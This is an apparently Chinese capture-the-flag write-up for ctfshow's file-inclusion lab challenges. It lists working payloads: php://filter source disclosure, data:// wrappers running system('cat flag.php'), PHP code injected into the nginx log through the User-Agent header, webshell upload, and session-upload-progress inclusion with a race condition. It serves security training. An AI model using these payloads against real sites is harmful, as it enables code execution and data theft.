ctfshow web入门 文件包含

web 78

在文件包含的题目中,php伪协议是非常常用的方法

php伪协议的利用

读取php源码要加base64过滤器

?file=php://filter/convert.base64-encode/resource=flag.php

web 79

?file=data://text/plain;<?php system('cat flag.php'); ?>

php给过滤掉了,用data协议执行PHP命令,并且php命令里有php也要base64

为?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80-81

日志包含

Nginx日志目录为/var/log/nginx/access.log

ua头中传入<?php system('ls');?>

<?php system('cat f10g.php');?> 控制台查看php代码得到flag,cat命令不会执行php,只是查看

或者直接传马,菜刀中的url应该带有参数是http://be249151-f1df-437d-88d5-104efba7f0ba.challenge.ctf.show:8080/?file=/var/log/nginx/access.log 传入的file参数是会被执行的

直接填目录的话容易出错

web82-86

参考文章

https://www.freebuf.com/vuls/202819.html

https://www.cnblogs.com/NPFS/p/13795170.html

https://blog.csdn.net/weixin_45551083/article/details/110259089

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度

2.我们在要post传输的数据中中写入我们要执行的代码

3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字

4.之后要执行就要包含这个session文件

5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息

6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见

原文地址:https://www.cnblogs.com/akger/p/15361466.html